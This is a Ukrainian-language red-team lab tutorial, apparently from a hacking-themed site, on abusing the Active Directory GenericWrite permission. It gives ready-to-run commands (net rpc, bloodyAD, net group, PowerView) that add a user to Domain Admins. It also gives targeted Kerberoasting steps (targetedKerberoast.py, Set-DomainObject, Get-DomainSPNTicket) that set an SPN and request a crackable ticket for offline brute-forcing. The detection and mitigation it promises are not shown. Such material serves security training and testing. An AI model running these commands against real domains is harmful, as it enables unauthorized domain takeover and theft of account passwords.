_ SEARCH_ARCHIVE [/]
[ CLOSE_SESSION ]
:(

SYSTEM_HALTED

Your device ran into a critical error due to an unauthorized shell command. The system was halted to prevent data leakage and kernel corruption.

SYS_SEARCH v1.0.4 // CORE_INDEX ⚠️ [!] NEVER TYPE "EXIT" OR "SHUTDOWN" [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/redteam/abusing_ad-dacl_genericwrite // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#AD-DACL#PRIVILEGE ESCALATION#ACTIVE DIRECTORY
FILE_INFO_DECRYPTED
TRANSLATE: @exploit.com.ua

У цій статті ми розглянемо зловживання привілеєм GenericWrite в Active Directory, зосередившись на тому, як зловмисники експлуатують списки керування доступом (DACL) для підвищення привілеїв. Зловживаючи дозволом GenericWrite, супротивники можуть змінювати членство в групах, імена служб (SPN) або сценарії входу, що призводить до горизонтального переміщення (lateral movement) або повного захоплення домену.

Нижче описано налаштування лабораторії, необхідне для симуляції цих атак, а методи зіставлено з фреймворком MITRE ATT&CK для роз’яснення пов’язаних технік і тактик. Також розглянуто механізми виявлення підозрілої активності, пов’язаної з атаками GenericWrite, разом із дієвими рекомендаціями щодо пом’якшення цих вразливостей. Цей огляд надає фахівцям із безпеки важливі знання для розпізнавання цих поширених загроз та захисту від них.

Зміст

  • Дозвіл GenericWrite
  • Попередні вимоги
  • Налаштування лабораторії – Користувач має дозвіл GenericWrite щодо групи адміністраторів домену (Domain Admin)
  • Фаза експлуатації I – Користувач має дозвіл GenericWrite щодо групи
  • Bloodhound – Пошук слабких дозволів
  • Метод експлуатації – Маніпуляція обліковим записом (T1098)
  • Linux Net RPC – Samba
  • Linux Bloody AD
  • Команда Windows Net
  • Windows PowerShell – PowerView
  • Налаштування лабораторії – Користувач має дозвіл GenericWrite щодо іншого користувача
  • Фаза експлуатації II – Користувач має дозвіл GenericWrite щодо іншого користувача
  • Bloodhound – Пошук слабких дозволів
  • Метод експлуатації – Kerberoasting (T1558.003)
  • Linux Python Script – TargetedKerberoast
  • Windows PowerShell – PowerView

Дозвіл GenericWrite

Дозвіл GenericWrite в Active Directory дозволяє користувачеві змінювати всі атрибути об’єкта, доступні для запису, за винятком властивостей, що потребують спеціальних прав (наприклад, скидання паролів).

Якщо зловмисник отримує GenericWrite над користувачем, він може записати дані в атрибут servicePrincipalNames і негайно розпочати атаку targeted Kerberoasting.

Більше того, наявність GenericWrite над групою дозволяє йому додати свій обліковий запис — або той, який він контролює — безпосередньо до цієї групи, фактично підвищуючи свої привілеї.

Як варіант, якщо зловмисник отримує GenericWrite над об’єктом комп’ютера, він може змінити атрибут msds-KeyCredentialLink. Як результат, він створює Shadow Credentials і автентифікується як цей обліковий запис комп’ютера за допомогою Kerberos PKINIT.

Попередні вимоги

  • Windows Server 2019 як Active Directory.
  • Kali Linux
  • Інструменти: Bloodhound, Net RPC, Powerview, BloodyAD.
  • Windows 10/11 — у якості клієнта.

Налаштування лабораторії – Користувач має дозвіл GenericWrite щодо групи Domain Admin

Створення середовища Active Directory:

Для симуляції середовища Active Directory налаштуйте Windows Server як контролер домену (DC) та клієнтську машину (Windows або Linux) для запуску інструментів перерахування та експлуатації.

Контролер домену:

  • Спочатку встановіть Windows Server (рекомендується 2016 або 2019).
  • Потім підвищте його роль до контролера домену, додавши роль Active Directory Domain Services.
  • Нарешті, налаштуйте домен (наприклад, ignite.local).

Облікові записи користувачів:

  • Далі створіть звичайний обліковий запис користувача з іменем Anuradha:
net user anuradha Password@1 /add /domain

GenericWrite Active Directory Abuse

Призначення привілею «GenericWrite» користувачу Anuradha:

Після того як ви налаштували середовище AD, призначте привілей GenericWrite користувачу Anuradha стосовно групи Domain Admins.

Кроки:

  • Відкрийте Active Directory Users and Computers (ADUC) на контролері домену.
  • Увімкніть режим Advanced Features (Додаткові компоненти), натиснувши View (Вигляд) > Advanced Features.
  • Знайдіть групу Domain Admins у контейнері Users.
  • Натисніть правою кнопкою миші на Domain Admins і виберіть Properties (Властивості).

  • Перейдіть на вкладку Security (Безпека), потім натисніть кнопку Add (Додати).

GenericWrite Active Directory Abuse

  • У полі «Enter the object name to select» введіть Anuradha, натисніть Check Names (Перевірити імена), а потім OK.

  • У розділі Permissions (Дозволи) позначте пункт Write (Запис).

GenericWrite Active Directory Abuse

  • Вибір чекбокса Write автоматично вмикає параметр Add/remove self as member (Додавання/видалення себе як учасника).

Після застосування налаштувань Anuradha тепер має права GenericWrite та AddSelf щодо групи Domain Admins. Як наслідок, вона може додати себе — або будь-який інший об’єкт під її контролем — до цієї групи.

Фаза експлуатації I – Користувач має дозвіл GenericWrite щодо групи

Bloodhound – Пошук слабких дозволів

Використання BloodHound для підтвердження привілеїв: Ви можете скористатися BloodHound, щоб переконатися, що Anuradha має дозвіл GenericWrite щодо групи Domain Admins.

bloodhound-python -u anuradha -p Password@1 -ns 192.168.1.7 -d ignite.local -c All

На основі графічного представлення Bloodhound тестувальник ідентифікує вихідні об’єкти керування (outbound object control) для обраного користувача, де значення прямого керування (first degree object control) дорівнює 1.

GenericWrite Active Directory Abuse

Таким чином, інструмент показав, що користувач Anuradha має привілеї GenericWrite та SelfAdd щодо групи Domain Admins.

GenericWrite Active Directory Abuse

Метод експлуатації – Маніпуляція обліковим записом (T1098)

Linux Net RPC – Samba

Тестувальник може зловжити цим дозволом, додавши користувача Anuradha до групи Domain Admin, а потім вивівши список учасників цієї групи, щоб переконатися, що Anuradha стала адміністратором домену

net rpc group addmem "Domain Admins" anuradha -U ignite.local/anuradha%'Password@1' -S 192.168.1.7

Bloody AD

Альтернативно, цього можна досягти за допомогою інструменту bloodyAD

bloodyAD --host "192.168.1.7" -d "ignite.local" -u "anuradha" -p "Password@1" add groupMember "Domain Admins" "anuradha"

Windows Net command

Цього можна досягти за допомогою вбудованого командного рядка, використовуючи команду Windows net.

net group "domain admins" anuradha /add /domain

GenericWrite Active Directory Abuse

Таким чином, у властивостях користувача ми бачимо, що користувач Anuradha став учасником групи Domain Admins.

Windows PowerShell – Powerview

Зловмисник може додати користувача, групу або комп’ютер до певної групи. Це можна реалізувати за допомогою модуля Active Directory PowerShell або за допомогою командлета Add-DomainGroupMemberPowerView

powershell -ep bypass
Import-Module .PowerView.ps1
$SecPassword = ConvertTo-SecureString 'Password@1' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('ignite.localanuradha', $SecPassword)
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'anuradha' -Credential $Cred

GenericWrite Active Directory Abuse

Налаштування лабораторії – Користувач має дозвіл GenericWrite щодо іншого користувача

У цій частині лабораторії ми створимо двох користувачів — Krishna та Radha, де користувач Radha матиме дозвіл GenericWrite стосовно користувача Krishna.

Створення середовища AD та облікових записів користувачів

  • Створіть два облікові записи користувачів AD з іменами Krishna та Radha.
net user krishna Password@1 /add /domain
net user radha Password@1 /add /domain

Призначення привілею «GenericWrite»:

  • Відкрийте Active Directory Users and Computers (ADUC) на контролері домену.
  • Увімкніть режим Advanced Features (Додаткові компоненти), натиснувши View (Вигляд) > Advanced Features.
  • Знайдіть користувача Krishna у контейнері Users.
  • Натисніть правою кнопкою миші на користувача Krishna і виберіть Properties (Властивості).

  • Перейдіть на вкладку Security (Безпека) і натисніть кнопку Add (Додати).
  • У полі «Enter the object name to select» введіть Radha, натисніть Check Names (Перевірити імена), а потім OK.
  • Виберіть користувача Radha і в розділі Permissions (Дозволи) позначте пункт Write (Запис).
  • Застосуйте налаштування.

GenericWrite Active Directory Abuse

На даний момент Radha має дозвіл GenericWrite стосовно користувача Krishna.

Фаза експлуатації II – Користувач має дозвіл GenericWrite щодо іншого користувача

Bloodhound – Пошук слабких дозволів

Пошук прямого керування об’єктами (First-Degree Object Control) для користувача Radha виконується так само, як було продемонстровано у попередніх кроках.

bloodhound-python -u anuradha -p Password@1 -ns 192.168.1.7 -d ignite.local -c All

GenericWrite Active Directory Abuse

З графіка видно, що користувач Radha має привілей GenericWrite щодо користувача Krishna.

Метод експлуатації – Kerberoasting (T1558.003)

Цим зловживанням можна скористатися, якщо ви контролюєте об’єкт, який має права GenericAll, GenericWrite, WriteProperty або Validated-SPN щодо цілі.

Linux Python Script – TargetedKerberoast

У UNIX-подібних системах це можна виконати за допомогою скрипта targetedKerberoast.py (Python). Цей інструмент автоматично встановлює значення Service Principal Name (SPN) для цільового користувача (якщо воно ще не встановлене), а потім запитує квиток Kerberos TGS, який можна зламати в офлайн-режимі.

Крім того, за допомогою John the Ripper та словника (наприклад, rockyou.txt) атакуючий може виконати брутфорс (перебір) для зламу слабкого пароля.

./targetedKerberoast.py --dc-ip '192.168.1.7' -v -d 'ignite.local' -u 'radha' -p 'Password@1'

GenericWrite Active Directory Abuse

Windows PowerShell – Powerview

На машинах Windows цього можна досягти за допомогою командлетів Set-DomainObject та Get-DomainSPNTicket (модуль PowerView).

powershell -ep bypass
Import-Module .PowerView.ps1
Set-DomainObject -Identity 'krishna' -Set @{serviceprincipalname='nonexistent/hacking'}
Get-DomainUser 'krishna' | Select serviceprincipalname
$User = Get-DomainUser 'krishna'
$User | Get-DomainSPNTicket

[!] SYSTEM_INCOMPATIBILITY_REPORT

FATAL_ERROR: MOBILE_DISPLAY_NOT_SUPPORTED

The requested resource "exploit.com.ua" is optimized for desktop terminal environments only.

Mobile UI decoding is currently in progress...